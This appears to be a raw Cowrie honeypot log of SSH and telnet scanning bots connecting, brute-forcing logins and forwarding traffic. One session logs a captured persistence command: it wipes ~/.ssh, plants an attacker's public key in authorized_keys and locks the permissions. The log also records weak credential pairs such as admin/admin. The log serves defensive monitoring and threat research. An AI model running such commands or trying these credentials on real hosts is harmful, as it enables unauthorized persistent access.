{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:45.645743Z","src_ip":"87.251.64.176","session":"64835df877db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:45.877847Z","src_ip":"87.251.64.176","session":"64835df877db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.386265277862549,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:49.096614Z","src_ip":"49.43.0.235","session":"5935e74ec88b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787498950958252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:56.381695Z","src_ip":"104.245.105.2","session":"31be65a86ffd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.523847818374634,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:40:21.010879Z","src_ip":"104.245.105.2","session":"b80470474818","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51386,"dst_ip":"10.17.0.5","dst_port":23,"session":"58e1181055c4","protocol":"telnet","message":"New connection: 104.245.105.2:51386 (10.17.0.5:23) [session: 58e1181055c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:40:27.690172Z"}
{"eventid":"cowrie.session.closed","duration":39.39027118682861,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:07.080356Z","src_ip":"104.245.105.2","session":"58e1181055c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":43294,"dst_ip":"159.203.135.109","dst_port":23,"session":"987d0ce7bfbd","protocol":"telnet","message":"New connection: 64.41.88.162:43294 (159.203.135.109:23) [session: 987d0ce7bfbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:10.721166Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":43606,"dst_ip":"159.203.135.109","dst_port":23,"session":"481b3a45aba2","protocol":"telnet","message":"New connection: 64.41.88.162:43606 (159.203.135.109:23) [session: 481b3a45aba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:10.729372Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":16430,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcb680ca0419","protocol":"ssh","message":"New connection: 87.251.64.176:16430 (10.17.0.5:22) [session: fcb680ca0419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:11.012037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:11.017222Z","src_ip":"87.251.64.176","session":"fcb680ca0419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:11.114053Z","src_ip":"87.251.64.176","session":"fcb680ca0419","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:11.405503Z","src_ip":"87.251.64.176","session":"fcb680ca0419","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:11.504457Z","session":"fcb680ca0419","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:11.602751Z","src_ip":"87.251.64.176","session":"fcb680ca0419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:11.838263Z","src_ip":"87.251.64.176","session":"fcb680ca0419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47262,"dst_ip":"10.17.0.5","dst_port":23,"session":"693e7463d8c8","protocol":"telnet","message":"New connection: 104.245.105.2:47262 (10.17.0.5:23) [session: 693e7463d8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:22.859179Z"}
{"eventid":"cowrie.session.closed","duration":32.549389362335205,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:43.270423Z","src_ip":"64.41.88.162","session":"987d0ce7bfbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.53379416465759,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:46.263085Z","src_ip":"64.41.88.162","session":"481b3a45aba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":33310,"dst_ip":"10.17.0.5","dst_port":22,"session":"771efb5e2b50","protocol":"ssh","message":"New connection: 88.205.172.170:33310 (10.17.0.5:22) [session: 771efb5e2b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:48.927039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:48.931855Z","src_ip":"88.205.172.170","session":"771efb5e2b50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:49.094316Z","src_ip":"88.205.172.170","session":"771efb5e2b50","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"server","message":"login attempt [steam/server] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:49.775938Z","src_ip":"88.205.172.170","session":"771efb5e2b50","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:50.151454Z","src_ip":"88.205.172.170","session":"771efb5e2b50","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:50.155031Z","src_ip":"88.205.172.170","session":"771efb5e2b50","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:50.158909Z","src_ip":"88.205.172.170","session":"771efb5e2b50","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:50.324039Z","src_ip":"88.205.172.170","session":"771efb5e2b50","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:50.681896Z","src_ip":"88.205.172.170","session":"771efb5e2b50","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:50.684580Z","src_ip":"88.205.172.170","session":"771efb5e2b50","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:50.848662Z","src_ip":"88.205.172.170","session":"771efb5e2b50","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:50.851600Z","src_ip":"88.205.172.170","session":"771efb5e2b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":33558,"dst_ip":"10.17.0.5","dst_port":22,"session":"33e262e639bc","protocol":"ssh","message":"New connection: 88.205.172.170:33558 (10.17.0.5:22) [session: 33e262e639bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:51.005232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:51.010397Z","src_ip":"88.205.172.170","session":"33e262e639bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:51.172232Z","src_ip":"88.205.172.170","session":"33e262e639bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:51.850247Z","src_ip":"88.205.172.170","session":"33e262e639bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:53.015525Z","src_ip":"88.205.172.170","session":"33e262e639bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":33564,"dst_ip":"10.17.0.5","dst_port":22,"session":"98eebd7915a0","protocol":"ssh","message":"New connection: 88.205.172.170:33564 (10.17.0.5:22) [session: 98eebd7915a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:53.168432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:53.172703Z","src_ip":"88.205.172.170","session":"98eebd7915a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:53.332641Z","src_ip":"88.205.172.170","session":"98eebd7915a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:53.995292Z","src_ip":"88.205.172.170","session":"98eebd7915a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:54.157342Z","src_ip":"88.205.172.170","session":"98eebd7915a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:54.162521Z","src_ip":"88.205.172.170","session":"771efb5e2b50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.789891958236694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:41:54.648926Z","src_ip":"104.245.105.2","session":"693e7463d8c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":51888,"dst_ip":"159.203.135.109","dst_port":23,"session":"66c41ea6a90e","protocol":"telnet","message":"New connection: 64.41.88.162:51888 (159.203.135.109:23) [session: 66c41ea6a90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:42:19.232088Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50304,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc2e8eead129","protocol":"telnet","message":"New connection: 104.245.105.2:50304 (10.17.0.5:23) [session: dc2e8eead129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:42:30.448638Z"}
{"eventid":"cowrie.session.closed","duration":4.161892414093018,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:42:34.610421Z","src_ip":"104.245.105.2","session":"dc2e8eead129","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.180968046188354,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:42:54.412915Z","src_ip":"64.41.88.162","session":"66c41ea6a90e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":41558,"dst_ip":"159.203.135.109","dst_port":23,"session":"e35f60077ddc","protocol":"telnet","message":"New connection: 64.41.88.162:41558 (159.203.135.109:23) [session: e35f60077ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:21.932388Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":41634,"dst_ip":"159.203.135.109","dst_port":23,"session":"49f38cc29677","protocol":"telnet","message":"New connection: 64.41.88.162:41634 (159.203.135.109:23) [session: 49f38cc29677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:22.055321Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":42940,"dst_ip":"159.203.135.109","dst_port":23,"session":"0617a8d3e98a","protocol":"telnet","message":"New connection: 64.41.88.162:42940 (159.203.135.109:23) [session: 0617a8d3e98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:24.274453Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.99.46.101","src_port":54870,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd85c4bd7e5e","protocol":"ssh","message":"New connection: 36.99.46.101:54870 (10.17.0.5:22) [session: cd85c4bd7e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:34.133616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:34.138628Z","src_ip":"36.99.46.101","session":"cd85c4bd7e5e","protocol":"ssh"}
